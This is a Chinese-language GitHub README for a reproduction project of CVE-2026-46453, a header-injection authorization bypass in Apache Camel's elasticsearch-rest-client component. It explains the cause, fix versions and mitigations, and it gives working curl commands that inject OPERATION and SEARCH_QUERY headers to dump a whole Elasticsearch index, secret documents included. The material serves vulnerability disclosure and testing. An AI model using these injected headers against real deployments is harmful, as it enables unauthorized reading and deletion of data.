oscerd/CVE-2026-46453

GitHub: oscerd/CVE-2026-46453

Apache Camel elasticsearch-rest-client 组件无前缀 Header 注入漏洞(CVE-2026-46453)的复现项目,演示了攻击者如何通过入站 HTTP Header 覆盖 ES 操作以绕过授权。

Stars: 0 | Forks: 0

# camel-elasticsearch-rest-client 无前缀 Header 注入复现项目 (CVE-2026-46453) 本项目演示了 Apache Camel 的 `camel-elasticsearch-rest-client` 组件中的一个**消息 header 注入 / 授权绕过**漏洞,追踪编号为 **CVE-2026-46453**。该组件会读取多个 Exchange header 来控制其行为 —— `SEARCH_QUERY`、`OPERATION`、`INDEX_NAME`、`INDEX_SETTINGS`、`ID`。在受影响的版本中,这些 header 的**字符串值**是普通的、**无前缀**的名称(`"OPERATION"`、 `"SEARCH_QUERY"`,……),而不是其他所有组件使用的带有 `Camel` 前缀的名称。Camel 的入站 `HttpHeaderFilterStrategy` 仅阻止以 `Camel`/`camel` 开头的名称,因此这些 header **会原封不动地通过入站过滤器**。当路由在 elasticsearch-rest-client producer 前面暴露了一个 HTTP 入口点(例如 platform-http)时,不受信任的 HTTP 客户端可以直接设置这些 header 并**覆盖** 路由作者配置的查询和操作 —— 读取整个索引、删除文档等。此过程无需任何凭据。 安全通告:https://camel.apache.org/security/CVE-2026-46453.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-elasticsearch-rest-client` | | **受影响的常量** | `ElasticSearchRestClientConstant` — `ID`、`SEARCH_QUERY`、`INDEX_SETTINGS`、`INDEX_NAME`、`OPERATION`(无前缀值) | | **CWE** | CWE-20(输入验证不恰当)+ CWE-639(通过用户控制键绕过授权) | | **影响** | 不受信任的 HTTP 客户端覆盖 ES 操作/查询 —— 读取/删除/窃取文档 | | **受影响版本** | 从 4.3.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23508 | | **报告者** | Yu Bao (PayPal) | ## 技术细节 ``` // ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values) public static final String ID = "ID"; public static final String SEARCH_QUERY = "SEARCH_QUERY"; public static final String INDEX_SETTINGS = "INDEX_SETTINGS"; public static final String INDEX_NAME = "INDEX_NAME"; public static final String OPERATION = "OPERATION"; // ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation ElasticsearchRestClientOperation operation = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class); ``` `HttpHeaderFilterStrategy` 仅阻止 `Camel*`/`camel*`,因此入站 HTTP header `OPERATION: SEARCH`(以及 `SEARCH_QUERY: {...}`)会直接通过并覆盖路由作者设置的 `operation=GET_BY_ID`。修复方案 (4.14.8 / 4.18.3 / 4.21.0)将这些**值**重命名为 `CamelElasticsearchOperation`、`CamelElasticsearchSearchQuery` 等,这样入站过滤器就能阻止它们(Java 字段名保持不变)。 ## 受害者路由 ``` from("platform-http:/products") .to("elasticsearch-rest-client:reproducer?hostAddressesList=&operation=GET_BY_ID&indexName=products"); // route author intends a single, safe operation: fetch one document by id ``` 攻击者发送包含 `OPERATION: SEARCH` + `SEARCH_QUERY: {"query":{"match_all":{}}}` 的 HTTP 请求会覆盖原有配置 并导出整个索引。 ## 仓库结构 **受害者**是 Camel 路由;**攻击者**是任何可以访问到 platform-http endpoint 的 HTTP 客户端。复现项目在 Docker 中运行真实的 **Elasticsearch**,并在宿主机上运行 Camel 应用(该应用通过映射的端口与 ES 通信)。 ``` CVE-2026-46453/ ├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2 ├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled) ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── EsSeeder.java # seeds a "public" and a "secret" document │ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID) │ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH └── resources/ └── application.properties ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(用于运行 Elasticsearch) ## 复现步骤 ### 步骤 1:启动 Elasticsearch ``` docker compose up -d # 等待直到就绪: curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200 ``` ### 步骤 2:构建并运行应用(在宿主机上,与 ES 容器通信) ``` mvn clean package -DskipTests java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar # 应用在启动时使用一个 public 和一个 secret 文档填充 'products' 索引 ``` ### 步骤 3:触发 header 注入 ``` curl -s http://localhost:8080/exploit/attack # === 1) 合法请求 (ID=public-1) === # {"name":"Public Widget","visibility":"public"} secret 泄露:false # === 2) 攻击请求 (OPERATION=SEARCH, SEARCH_QUERY=match_all) === # [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret 泄露:true # # >>> Header-injection 证明 — 攻击者覆盖了 operation 并读取了整个 index:true ``` 你也可以手动执行此操作 —— 注入的 header 会直接穿过 platform-http 的入站过滤器: ``` # 合法:路由作者的 GET_BY_ID 仅返回 public 文档 curl -s -H "ID: public-1" http://localhost:8080/products # 攻击:覆盖 operation 并转储整个 index(包含 secret) curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products ``` ### 清理 ``` docker compose down ``` ## 攻击向量 任何在 elasticsearch-rest-client producer 前暴露 HTTP 入口点的路由。攻击者在入站 HTTP 请求中设置 `OPERATION`、`SEARCH_QUERY`、`INDEX_NAME`、`INDEX_SETTINGS` 或 `ID`;它们会绕过 `Camel` 前缀入站过滤器并到达 producer。 ## 漏洞利用条件 1. HTTP consumer(例如 platform-http)在受影响的版本上路由到 elasticsearch-rest-client producer。 2. 默认的 `HttpHeaderFilterStrategy`(仅阻止 `Camel*`),它未覆盖无前缀的 ES header。 ## 推荐修复方案 升级到 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23508),此版本在 header 值前加上了 `Camel` 前缀,使得入站过滤器可以阻止它们。 ## 缓解措施 在升级之前,在 producer 处理之前,从不受信任的入站消息中剥离受影响的 header: ``` .removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID") ``` 或者应用一个自定义的 `HeaderFilterStrategy` 来阻止这些名称。 ## 免责声明 本复现项目仅用于**安全研究和授权测试**,针对的是一个**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CISA项目, Elasticsearch, JS文件枚举, 中间件安全, 域名枚举, 消息头注入, 漏洞复现, 请求拦截, 越权漏洞